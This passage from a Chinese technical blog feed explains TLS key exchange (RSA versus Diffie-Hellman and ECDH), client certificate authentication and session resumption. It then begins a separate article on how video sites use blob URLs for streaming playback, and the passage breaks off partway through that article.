&lt;p&gt;关于 ECC 证书的更多细节可见文档: &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; title=&quot;https:&#x2F;&#x2F;www.rfc-editor.org&#x2F;rfc&#x2F;rfc4492.txt&quot; href=&quot;https:&#x2F;&#x2F;link.juejin.cn&#x2F;?target=https%3A%2F%2Fwww.rfc-editor.org%2Frfc%2Frfc4492.txt&quot;&gt;ECC Cipher Suites for TLS - RFC4492&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;h4 id=&quot;rsa-mi-yao-jiao-huan-he-dh-mi-yao-jiao-huan-de-qu-bie&quot;&gt;RSA 密钥交换和 DH 密钥交换的区别&lt;&#x2F;h4&gt;
&lt;p&gt;使用 RSA 进行密钥交换的握手过程与前面说明的基本一致，只是没有 ServerKeyExchange 消息，其中协商密钥涉及到三个参数 (客户端随机数 random_C、服务端随机数 random_S、预主密钥 Premaster secret)， 其中前两个随机数和协商使用的算法是明文的很容易获取，最后一个 Premaster secret 会用服务器提供的公钥加密后传输给服务器 (密钥交换)，如果这个预主密钥被截取并破解则协商密钥也可以被破解。&lt;&#x2F;p&gt;
&lt;p&gt;RSA 算法的细节见: &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; title=&quot;https:&#x2F;&#x2F;zh.wikipedia.org&#x2F;wiki&#x2F;RSA%E5%8A%A0%E5%AF%86%E6%BC%94%E7%AE%97%E6%B3%95&quot; href=&quot;https:&#x2F;&#x2F;link.juejin.cn&#x2F;?target=https%3A%2F%2Fzh.wikipedia.org%2Fwiki%2FRSA%25E5%258A%25A0%25E5%25AF%2586%25E6%25BC%2594%25E7%25AE%2597%25E6%25B3%2595&quot;&gt;wiki&lt;&#x2F;a&gt; 和 &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; title=&quot;http:&#x2F;&#x2F;www.ruanyifeng.com&#x2F;blog&#x2F;2013&#x2F;07&#x2F;rsa_algorithm_part_two.html&quot; href=&quot;https:&#x2F;&#x2F;link.juejin.cn&#x2F;?target=http%3A%2F%2Fwww.ruanyifeng.com%2Fblog%2F2013%2F07%2Frsa_algorithm_part_two.html&quot;&gt;RSA算法原理（二）- 阮一峰&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;p&gt;RSA 的算法核心思想是利用了极大整数 &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; title=&quot;https:&#x2F;&#x2F;zh.wikipedia.org&#x2F;wiki&#x2F;%E6%95%B4%E6%95%B0%E5%88%86%E8%A7%A3&quot; href=&quot;https:&#x2F;&#x2F;link.juejin.cn&#x2F;?target=https%3A%2F%2Fzh.wikipedia.org%2Fwiki%2F%25E6%2595%25B4%25E6%2595%25B0%25E5%2588%2586%25E8%25A7%25A3&quot;&gt;因数分解&lt;&#x2F;a&gt; 的计算复杂性&lt;&#x2F;p&gt;
&lt;p&gt;而使用 &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; title=&quot;https:&#x2F;&#x2F;zh.wikipedia.org&#x2F;wiki&#x2F;%E8%BF%AA%E8%8F%B2-%E8%B5%AB%E7%88%BE%E6%9B%BC%E5%AF%86%E9%91%B0%E4%BA%A4%E6%8F%9B&quot; href=&quot;https:&#x2F;&#x2F;link.juejin.cn&#x2F;?target=https%3A%2F%2Fzh.wikipedia.org%2Fwiki%2F%25E8%25BF%25AA%25E8%258F%25B2-%25E8%25B5%25AB%25E7%2588%25BE%25E6%259B%25BC%25E5%25AF%2586%25E9%2591%25B0%25E4%25BA%25A4%25E6%258F%259B&quot;&gt;DH(Diffie-Hellman) 算法&lt;&#x2F;a&gt; 进行密钥交换，双方只要交换各自的 DH 参数(在 ServerKeyExchange 发送 Server params，在 ClientKeyExchange 发送 Client params)，不需要传递 Premaster secret，就可以各自算出这个预主密钥&lt;&#x2F;p&gt;
&lt;p&gt;DH 的握手过程如下，大致过程与 RSA 类似，图中只表达如何生成预主密钥:&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;tls-explained&#x2F;tls-dh-key-exchange-handshake.png&quot; alt=&quot;image&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;服务器通过私钥将客户端随机数 random_C，服务端随机数 random_S，服务端 DH 参数 Server params 签名生成 signature，然后在 ServerKeyExchange 消息中发送服务端 DH 参数和该签名；&lt;&#x2F;p&gt;
&lt;p&gt;客户端收到后用服务器给的公钥解密验证签名，并在 ClientKeyExchange 消息中发送客户端 DH 参数 Client params；&lt;&#x2F;p&gt;
&lt;p&gt;服务端收到后，双方都有这两个参数，再各自使用这两个参数生成预主密钥 Premaster secret，之后的协商密钥等步骤与 RSA 基本一致。&lt;&#x2F;p&gt;
&lt;blockquote&gt;
&lt;p&gt;基于 RSA 算法与 DH 算法的握手最大的区别就在于密钥交换与身份认证。前者客户端使用公钥加密预主密钥并发送给服务端完成密钥交换，服务端利用私钥解密完成身份认证。后者利用各自发送的 DH 参数完成密钥交换，服务器私钥签名数据，客户端公钥验签完成身份认证。&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;p&gt;关于 DH 算法如何生成预主密钥，推荐看下 &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; title=&quot;https:&#x2F;&#x2F;zh.wikipedia.org&#x2F;wiki&#x2F;%E8%BF%AA%E8%8F%B2-%E8%B5%AB%E7%88%BE%E6%9B%BC%E5%AF%86%E9%91%B0%E4%BA%A4%E6%8F%9B#%E6%8F%8F%E8%BF%B0&quot; href=&quot;https:&#x2F;&#x2F;link.juejin.cn&#x2F;?target=https%3A%2F%2Fzh.wikipedia.org%2Fwiki%2F%25E8%25BF%25AA%25E8%258F%25B2-%25E8%25B5%25AB%25E7%2588%25BE%25E6%259B%25BC%25E5%25AF%2586%25E9%2591%25B0%25E4%25BA%25A4%25E6%258F%259B%23%25E6%258F%258F%25E8%25BF%25B0&quot;&gt;Wiki&lt;&#x2F;a&gt; 和 &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; title=&quot;https:&#x2F;&#x2F;blog.cloudflare.com&#x2F;keyless-ssl-the-nitty-gritty-technical-details&#x2F;#ephemeraldiffiehellmanhandshake&quot; href=&quot;https:&#x2F;&#x2F;link.juejin.cn&#x2F;?target=https%3A%2F%2Fblog.cloudflare.com%2Fkeyless-ssl-the-nitty-gritty-technical-details%2F%23ephemeraldiffiehellmanhandshake&quot;&gt;Ephemeral Diffie-Hellman handshake&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;p&gt;其核心思想是利用了 &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; title=&quot;https:&#x2F;&#x2F;en.wikipedia.org&#x2F;wiki&#x2F;Discrete_logarithm&quot; href=&quot;https:&#x2F;&#x2F;link.juejin.cn&#x2F;?target=https%3A%2F%2Fen.wikipedia.org%2Fwiki%2FDiscrete_logarithm&quot;&gt;离散对数问题&lt;&#x2F;a&gt; 的计算复杂性&lt;&#x2F;p&gt;
&lt;blockquote&gt;
&lt;p&gt;原根：假设一个整数 g 对于质数 P 来说是原根，那么 g^i mod P (1 ≦ i &amp;lt; P) 的结果各不相同，且其结果按一定顺序排列后是 1 到 P-1 的所有整数，&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; title=&quot;https:&#x2F;&#x2F;zh.wikipedia.org&#x2F;wiki&#x2F;%E5%8E%9F%E6%A0%B9#%E4%BE%8B%E5%AD%90&quot; href=&quot;https:&#x2F;&#x2F;link.juejin.cn&#x2F;?target=https%3A%2F%2Fzh.wikipedia.org%2Fwiki%2F%25E5%258E%259F%25E6%25A0%25B9%23%25E4%25BE%258B%25E5%25AD%2590&quot;&gt;例子&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;blockquote&gt;
&lt;p&gt;离散对数：如果对于一个整数 n 和质数 P 的一个原根 g，可以找到一个唯一的指数 i，使得 n = g^i mod P (0 ≦ i &amp;lt; P)，那么指数 i 称为 n 的以 g 为基数的模 P 的离散对数&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;blockquote&gt;
&lt;p&gt;Diffie-Hellman 算法的有效性依赖于计算离散对数的难度，其含义是：当已知大素数 P 和它的一个原根 g 后，对给定的 n，要计算 i，被认为是很困难的，而给定 i 计算 n 却相对容易&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;p&gt;算法过程可以抽象成下图:&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;tls-explained&#x2F;diffie-hellman-key-exchange.png&quot; alt=&quot;image&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;双方预先商定好了一对 P g 值 (公开的)，而 Alice 有一个私密数 a(非公开，对应一个私钥)，Bob 有一个私密数 b(非公开，对应一个私钥)&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;Alice 计算 A = g^a mod P，并把 A(公开，对应一个公钥) 发给  Bob&lt;&#x2F;li&gt;
&lt;li&gt;Bob 计算 B = g^b mod P，并把 B(公开，对应一个公钥) 发给 Alice&lt;&#x2F;li&gt;
&lt;li&gt;双方计算出共享密钥，K = B&lt;sup&gt;a mod P = A&lt;&#x2F;sup&gt;b mod P (= g^ab mod P)&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;对于 Alice 和 Bob 来说通过对方发过来的公钥参数和自己手中的私钥可以得到最终相同的密钥&lt;&#x2F;p&gt;
&lt;p&gt;而第三方最多知道 P g A B，想得到私钥和最后的密钥很困难，当然前提是 a b P 足够大 (RFC3526 文档中有几个常用的大素数可供使用)，否则暴力破解也有可能试出答案，至于 g 一般取个较小值就可以&lt;&#x2F;p&gt;
&lt;p&gt;如下几张图是实际 DH 握手发送的内容:&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;tls-explained&#x2F;tls-dh-handshake-messages.png&quot; alt=&quot;image&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;tls-explained&#x2F;tls-dh-handshake-keyexchange.png&quot; alt=&quot;image&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;tls-explained&#x2F;tls-dh-keyexchange-messages.png&quot; alt=&quot;image&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;可以看到双方发给对方的参数中携带了一个公钥值，对应上述的 A 和 B&lt;&#x2F;p&gt;
&lt;p&gt;而且实际用的加密套件是 &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; title=&quot;https:&#x2F;&#x2F;zh.wikipedia.org&#x2F;wiki&#x2F;%E6%A9%A2%E5%9C%93%E6%9B%B2%E7%B7%9A%E8%BF%AA%E8%8F%B2-%E8%B5%AB%E7%88%BE%E6%9B%BC%E9%87%91%E9%91%B0%E4%BA%A4%E6%8F%9B&quot; href=&quot;https:&#x2F;&#x2F;link.juejin.cn&#x2F;?target=https%3A%2F%2Fzh.wikipedia.org%2Fwiki%2F%25E6%25A9%25A2%25E5%259C%2593%25E6%259B%25B2%25E7%25B7%259A%25E8%25BF%25AA%25E8%258F%25B2-%25E8%25B5%25AB%25E7%2588%25BE%25E6%259B%25BC%25E9%2587%2591%25E9%2591%25B0%25E4%25BA%25A4%25E6%258F%259B&quot;&gt;椭圆曲线 DH 密钥交换 (ECDH)&lt;&#x2F;a&gt;，利用由椭圆曲线加密建立公钥与私钥对可以更进一步加强 DH 的安全性，因为目前解决椭圆曲线离散对数问题要比因式分解困难的多，而且 ECC 使用的密钥长度比 RSA 密钥短得多(目前 RSA 密钥需要 2048 位以上才能保证安全，而 ECC 密钥 256 位就足够)&lt;&#x2F;p&gt;
&lt;p&gt;关于 &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; title=&quot;https:&#x2F;&#x2F;zh.wikipedia.org&#x2F;wiki&#x2F;%E6%A4%AD%E5%9C%86%E6%9B%B2%E7%BA%BF%E5%AF%86%E7%A0%81%E5%AD%A6&quot; href=&quot;https:&#x2F;&#x2F;link.juejin.cn&#x2F;?target=https%3A%2F%2Fzh.wikipedia.org%2Fwiki%2F%25E6%25A4%25AD%25E5%259C%2586%25E6%259B%25B2%25E7%25BA%25BF%25E5%25AF%2586%25E7%25A0%2581%25E5%25AD%25A6&quot;&gt;椭圆曲线密码学 - ECC&lt;&#x2F;a&gt;，推荐看下 &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; title=&quot;https:&#x2F;&#x2F;blog.cloudflare.com&#x2F;a-relatively-easy-to-understand-primer-on-elliptic-curve-cryptography&#x2F;&quot; href=&quot;https:&#x2F;&#x2F;link.juejin.cn&#x2F;?target=https%3A%2F%2Fblog.cloudflare.com%2Fa-relatively-easy-to-understand-primer-on-elliptic-curve-cryptography%2F&quot;&gt;A Primer on Elliptic Curve Cryptography - 原文&lt;&#x2F;a&gt; - &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; title=&quot;https:&#x2F;&#x2F;zhuanlan.zhihu.com&#x2F;p&#x2F;26029199&quot; href=&quot;https:&#x2F;&#x2F;link.juejin.cn&#x2F;?target=https%3A%2F%2Fzhuanlan.zhihu.com%2Fp%2F26029199&quot;&gt;译文&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;h3 id=&quot;5-3-ke-hu-duan-shen-fen-yan-zheng&quot;&gt;5.3 客户端身份验证&lt;&#x2F;h3&gt;
&lt;p&gt;尽管可以选择对任意一端进行身份验证，但人们几乎都启用了对服务器的身份验证。如果服务器选择的套件不是匿名的，那么就需要在 Certificate 消息中跟上自己的证书。&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;tls-explained&#x2F;tls-client-auth-flow.png&quot; alt=&quot;image&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;相比之下，服务器通过发送 CertificateRequest 消息请求对客户端进行身份验证。消息中列出所有可接受的客户端证书。作为响应，客户端发送自己的 Certificate 消息（使用与服务器发送证书相同的格式），并附上证书。此后，客户端发送 CertificateVerify 消息，证明自己拥有对应的私钥。&lt;&#x2F;p&gt;
&lt;p&gt;只有已经过身份验证的服务器才被允许请求客户端身份验证。基于这个原因，这个选项也被称为相互身份验证（mutual authentication）。&lt;&#x2F;p&gt;
&lt;h4 id=&quot;5-3-1-certificaterequest&quot;&gt;5.3.1 CertificateRequest&lt;&#x2F;h4&gt;
&lt;p&gt;在 ServerHello 的过程中发出，请求对客户端进行身份验证，并将其接受的证书的公钥和签名算法传送给客户端。&lt;&#x2F;p&gt;
&lt;p&gt;它也可以选择发送一份自己接受的证书颁发机构列表，这些机构都用其可分辨名称来表示:&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;struct {
  ClientCertificateType certificate_types;
  SignatureAndHashAlgorithm supported_signature_algorithms;
  DistinguishedName certificate_authorities;
} CertificateRequest;
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h4 id=&quot;5-3-2-certificateverify&quot;&gt;5.3.2 CertificateVerify&lt;&#x2F;h4&gt;
&lt;p&gt;在 ClientKeyExchange 的过程中发出，证明自己拥有的私钥与之前发送的客户端证书中的公钥匹配。消息中包含一条到这一步为止的所有握手消息的签名：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;struct {
  Signature handshake_messages_signature;
} CertificateVerify;
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h3 id=&quot;5-4-hui-hua-hui-fu&quot;&gt;5.4 会话恢复&lt;&#x2F;h3&gt;
&lt;p&gt;最初的会话恢复机制是，在一次完整协商的连接断开时，客户端和服务器都会将会话的安全参数保存一段时间。希望使用会话恢复的服务器为会话指定唯一的标识，称为会话 ID(Session ID)。服务器在 ServerHello 消息中将会话 ID 发回客户端。&lt;&#x2F;p&gt;
&lt;p&gt;希望恢复早先会话的客户端将适当的 Session ID 放入 ClientHello 消息，然后提交。服务器如果同意恢复会话，就将相同的 Session ID 放入 ServerHello 消息返回，接着使用之前协商的主密钥生成一套新的密钥，再切换到加密模式，发送 Finished 消息。 客户端收到会话已恢复的消息以后，也进行相同的操作。这样的结果是握手只需要一次网络往返。&lt;&#x2F;p&gt;
&lt;p&gt;Session ID 由服务器端支持，协议中的标准字段，因此基本所有服务器都支持，服务器端保存会话 ID 以及协商的通信信息，占用服务器资源较多。&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;tls-explained&#x2F;tls-session-resumption-ticket.png&quot; alt=&quot;image&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;用来替代服务器会话缓存和恢复的方案是使用会话票证（Session ticket）。使用这种方式，除了所有的状态都保存在客户端（与 HTTP Cookie 的原理类似）之外，其消息流与服务器会话缓存是一样的。&lt;&#x2F;p&gt;
&lt;p&gt;其思想是服务器取出它的所有会话数据（状态）并进行加密 (密钥只有服务器知道)，再以票证的方式发回客户端。在接下来的连接中，客户端恢复会话时在 &lt;strong&gt;ClientHello 的扩展字段&lt;&#x2F;strong&gt; session_ticket 中携带加密信息将票证提交回服务器，由服务器检查票证的完整性，解密其内容，再使用其中的信息恢复会话。&lt;&#x2F;p&gt;
&lt;p&gt;这种方法有可能使扩展服务器集群更为简单，因为如果不使用这种方式，就需要在服务集群的各个节点之间同步会话。 Session ticket 需要服务器和客户端都支持，属于一个扩展字段，占用服务器资源很少。&lt;&#x2F;p&gt;
&lt;blockquote&gt;
&lt;p&gt;警告 会话票证破坏了 TLS 安全模型。它使用票证密钥加密的会话状态并将其暴露在线路上。有些实现中的票证密钥可能会比连接使用的密码要弱。如果票证密钥被暴露，就可以解密连接上的全部数据。因此，使用会话票证时，票证密钥需要频繁轮换。&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;h2 id=&quot;references&quot;&gt;References&lt;&#x2F;h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; title=&quot;https:&#x2F;&#x2F;www.ietf.org&#x2F;rfc&#x2F;rfc2246.txt&quot; href=&quot;https:&#x2F;&#x2F;link.juejin.cn&#x2F;?target=https%3A%2F%2Fwww.ietf.org%2Frfc%2Frfc2246.txt&quot;&gt;RFC 2246 - The TLS Protocol Version 1.0&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; title=&quot;https:&#x2F;&#x2F;zh.wikipedia.org&#x2F;wiki&#x2F;%E5%BA%94%E7%94%A8%E5%B1%82%E5%8D%8F%E8%AE%AE%E5%8D%8F%E5%95%86&quot; href=&quot;https:&#x2F;&#x2F;link.juejin.cn&#x2F;?target=https%3A%2F%2Fzh.wikipedia.org%2Fwiki%2F%25E5%25BA%2594%25E7%2594%25A8%25E5%25B1%2582%25E5%258D%258F%25E8%25AE%25AE%25E5%258D%258F%25E5%2595%2586&quot;&gt;NPN&#x2F;ALPN - wiki&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; title=&quot;https:&#x2F;&#x2F;zh.wikipedia.org&#x2F;wiki&#x2F;%E5%82%B3%E8%BC%B8%E5%B1%A4%E5%AE%89%E5%85%A8%E6%80%A7%E5%8D%94%E5%AE%9A&quot; href=&quot;https:&#x2F;&#x2F;link.juejin.cn&#x2F;?target=https%3A%2F%2Fzh.wikipedia.org%2Fwiki%2F%25E5%2582%25B3%25E8%25BC%25B8%25E5%25B1%25A4%25E5%25AE%2589%25E5%2585%25A8%25E6%2580%25A7%25E5%258D%2594%25E5%25AE%259A&quot;&gt;TLS - wiki&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;link.juejin.cn&#x2F;?target=https%3A%2F%2Fdocs.microsoft.com%2Fen-us%2Fprevious-versions%2Fwindows%2Fit-pro%2Fwindows-server-2003%2Fcc785811(v%3Dws.10)&quot;&gt;SSL&#x2F;TLS in detail&lt;&#x2F;a&gt; &quot;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;docs.microsoft.com&#x2F;en-us&#x2F;previous-versions&#x2F;windows&#x2F;it-pro&#x2F;windows-server-2003&#x2F;cc785811(v=ws.10)%22&quot;&gt;https:&#x2F;&#x2F;docs.microsoft.com&#x2F;en-us&#x2F;previous-versions&#x2F;windows&#x2F;it-pro&#x2F;windows-server-2003&#x2F;cc785811(v=ws.10)&quot;&lt;&#x2F;a&gt;)&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; title=&quot;https:&#x2F;&#x2F;www.wosign.com&#x2F;faq&#x2F;faq2016-0309-02.htm&quot; href=&quot;https:&#x2F;&#x2F;link.juejin.cn&#x2F;?target=https%3A%2F%2Fwww.wosign.com%2Ffaq%2Ffaq2016-0309-02.htm&quot;&gt;HTTPS 加密协议详解&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; title=&quot;https:&#x2F;&#x2F;blog.cloudflare.com&#x2F;keyless-ssl-the-nitty-gritty-technical-details&#x2F;#rsahandshake&quot; href=&quot;https:&#x2F;&#x2F;link.juejin.cn&#x2F;?target=https%3A%2F%2Fblog.cloudflare.com%2Fkeyless-ssl-the-nitty-gritty-technical-details%2F%23rsahandshake&quot;&gt;Keyless SSL: The Nitty Gritty Technical Details&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; title=&quot;https:&#x2F;&#x2F;en.wikipedia.org&#x2F;wiki&#x2F;Digital_Signature_Algorithm&quot; href=&quot;https:&#x2F;&#x2F;link.juejin.cn&#x2F;?target=https%3A%2F%2Fen.wikipedia.org%2Fwiki%2FDigital_Signature_Algorithm&quot;&gt;DSA - 数字签名算法&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;li&gt;《HTTPS 权威指南 - 在服务器和 web 应用上部署 SSL&#x2F;TLS 和 PKI》&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
</content>
        
    </entry>
    <entry xml:lang="en">
        <title>前端流媒体播放从入门到入坑</title>
        <published>2024-07-20T00:00:00+00:00</published>
        <updated>2024-07-20T00:00:00+00:00</updated>
        
        <author>
          <name>
            
              moxuetianya
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://vercel.juzhong.asia/obsidian/前端流媒体播放从入门到入坑/"/>
        <id>https://vercel.juzhong.asia/obsidian/前端流媒体播放从入门到入坑/</id>
        
        <content type="html" xml:base="https://vercel.juzhong.asia/obsidian/前端流媒体播放从入门到入坑/">&lt;h1 id=&quot;qian-duan-liu-mei-ti-bo-fang-cong-ru-men-dao-ru-keng&quot;&gt;前端流媒体播放从入门到入坑&lt;&#x2F;h1&gt;
&lt;p&gt;最近好奇主流视频网站的播放器似乎不是我们习惯的&lt;code&gt;video&lt;&#x2F;code&gt;标签加上&lt;code&gt;src&lt;&#x2F;code&gt;属性上一个mp4的url，基本清一色的以&lt;code&gt;blob:&lt;&#x2F;code&gt;开头的一个纯前端的地址，鉴于此对前端的一些流媒体播放做了一些调研，写了这篇文章，顺便加了些在调研的过程中发现的一些有趣的现象一并写上，希望看过之后大家对流媒体播放有个基本的了解，本文尽量不涉及很多晦涩复杂的代码，我们只以大家都能在视频网站看得到的东西作为例子去讲解😂。OK, let&#x27;s go...&lt;&#x2F;p&gt;
&lt;h2 id=&quot;zhu-liu-shi-pin-wang-zhan-videode-blobdi-zhi-ji-ben-jie-shao&quot;&gt;主流视频网站video的blob地址基本介绍&lt;&#x2F;h2&gt;
&lt;p&gt;当你进入B站&#x2F;爱优腾，YouTube&#x2F;Netflix等视频网站，查看他们&lt;code&gt;video&lt;&#x2F;code&gt;标签上&lt;code&gt;src&lt;&#x2F;code&gt;地址，你会发现基本都是用的 &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; title=&quot;https:&#x2F;&#x2F;developer.mozilla.org&#x2F;en-US&#x2F;docs&#x2F;Web&#x2F;API&#x2F;URL&#x2F;createObjectURL&quot; href=&quot;https:&#x2F;&#x2F;link.juejin.cn&#x2F;?target=https%3A%2F%2Fdeveloper.mozilla.org%2Fen-US%2Fdocs%2FWeb%2FAPI%2FURL%2FcreateObjectURL&quot;&gt;Blob URL&lt;&#x2F;a&gt;的形式：&lt;&#x2F;p&gt;
&lt;p&gt;B站地址:&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;html&quot; class=&quot;language-html &quot;&gt;&lt;code class=&quot;language-html&quot; data-lang=&quot;html&quot;&gt;&amp;lt;video src=&amp;quot;blob:https:&amp;#x2F;&amp;#x2F;www.bilibili.com&amp;#x2F;c21f2f47-52fb-46e6-a943-f02e708bceac&amp;quot;&amp;gt;&amp;lt;&amp;#x2F;video&amp;gt;

&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;油管地址：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;html&quot; class=&quot;language-html &quot;&gt;&lt;code class=&quot;language-html&quot; data-lang=&quot;html&quot;&gt;&amp;lt;video src=&amp;quot;blob:https:&amp;#x2F;&amp;#x2F;www.youtube.com&amp;#x2F;250d7dd2-a387-4024-9325-ed4842c5c3d0&amp;quot;&amp;gt;&amp;lt;&amp;#x2F;video&amp;gt;

&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;web-streaming-playback&#x2F;bili-video-tag-blob-url.webp&quot; alt=&quot;bili-video-tag.png&quot; &#x2F;&gt; 通过上面MDN上的Blob介绍，以&lt;code&gt;blog:&lt;&#x2F;code&gt;开头的地址是通过以下方式生成：&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;div class=&quot;code-block-extension-header&quot;&gt;&lt;div class=&quot;code-block-extension-headerLeft&quot;&gt;&lt;p&gt;&lt;span class=&quot;code-block-extension-lang&quot;&gt;js&lt;&#x2F;span&gt;&lt;&#x2F;p&gt;&lt;&#x2F;div&gt;&lt;div class=&quot;code-block-extension-headerRight&quot;&gt;&lt;div data-v-159ebe90=&quot;&quot; class=&quot;render&quot;&gt;&lt;svg data-v-159ebe90=&quot;&quot; xmlns=&quot;http:&#x2F;&#x2F;www.w3.org&#x2F;2000&#x2F;svg&quot; width=&quot;14&quot; height=&quot;14&quot; viewBox=&quot;0 0 14 14&quot; fill=&quot;none&quot; class=&quot;icon&quot;&gt;&lt;path data-v-159ebe90=&quot;&quot; fill-rule=&quot;evenodd&quot; clip-rule=&quot;evenodd&quot; d=&quot;M9.53955 4.17189C9.68118 4.20855 9.79179 4.31915 9.82844 4.46078L10.1056 5.53143C10.2094 5.93276 10.7788 5.93412 10.8846 5.53329L11.1678 4.46028C11.2049 4.31949 11.3152 4.20973 11.4562 4.17324L12.5321 3.89478C12.9334 3.7909 12.9348 3.22149 12.5339 3.11571L11.4557 2.83116C11.3156 2.79418 11.2061 2.68474 11.1692 2.54461L10.8846 1.46639C10.7788 1.06556 10.2094 1.06691 10.1056 1.46824L9.82709 2.54413C9.7906 2.6851 9.68084 2.79538 9.54005 2.83254L8.46704 3.11571C8.06621 3.22149 8.06756 3.7909 8.46889 3.89478L9.53955 4.17189ZM6.85443 2.33317C6.93497 2.33317 7.00026 2.39846 7.00026 2.479V3.354C7.00026 3.43455 6.93497 3.49984 6.85443 3.49984H2.10026V12.2498H10.5586C10.7197 12.2498 10.8503 12.1193 10.8503 11.9582V7.14567C10.8503 7.06513 10.9156 6.99984 10.9961 6.99984H11.8711C11.9516 6.99984 12.0169 7.06513 12.0169 7.14567V12.8332C12.0169 13.1553 11.7558 13.4165 11.4336 13.4165H1.51693C1.19476 13.4165 0.933594 13.1553 0.933594 12.8332V2.9165C0.933594 2.59434 1.19476 2.33317 1.51693 2.33317H6.85443ZM8.30344 6.27272L9.43036 6.57467L8.22254 11.0823L7.09562 10.7804L8.30344 6.27272ZM6.56676 6.89146L5.7418 6.0665L3.26693 8.54137L3.35968 8.63404L3.35235 8.64146L5.62099 10.9101L6.44595 10.0851L4.9093 8.54858L6.56676 6.89146Z&quot; fill=&quot;url(#paint0_radial_370_13481)&quot;&gt;&lt;&#x2F;path&gt;&lt;defs data-v-159ebe90=&quot;&quot;&gt;&lt;radialGradient data-v-159ebe90=&quot;&quot; id=&quot;paint0_radial_370_13481&quot; cx=&quot;0&quot; cy=&quot;0&quot; r=&quot;1&quot; gradientUnits=&quot;userSpaceOnUse&quot; gradientTransform=&quot;translate(12.8336 1.1665) rotate(134.17) scale(17.0784 23.5605)&quot;&gt;&lt;stop data-v-159ebe90=&quot;&quot; stop-color=&quot;#FF8A01&quot;&gt;&lt;&#x2F;stop&gt;&lt;stop data-v-159ebe90=&quot;&quot; offset=&quot;0.223725&quot; stop-color=&quot;#B051B9&quot;&gt;&lt;&#x2F;stop&gt;&lt;stop data-v-159ebe90=&quot;&quot; offset=&quot;0.455423&quot; 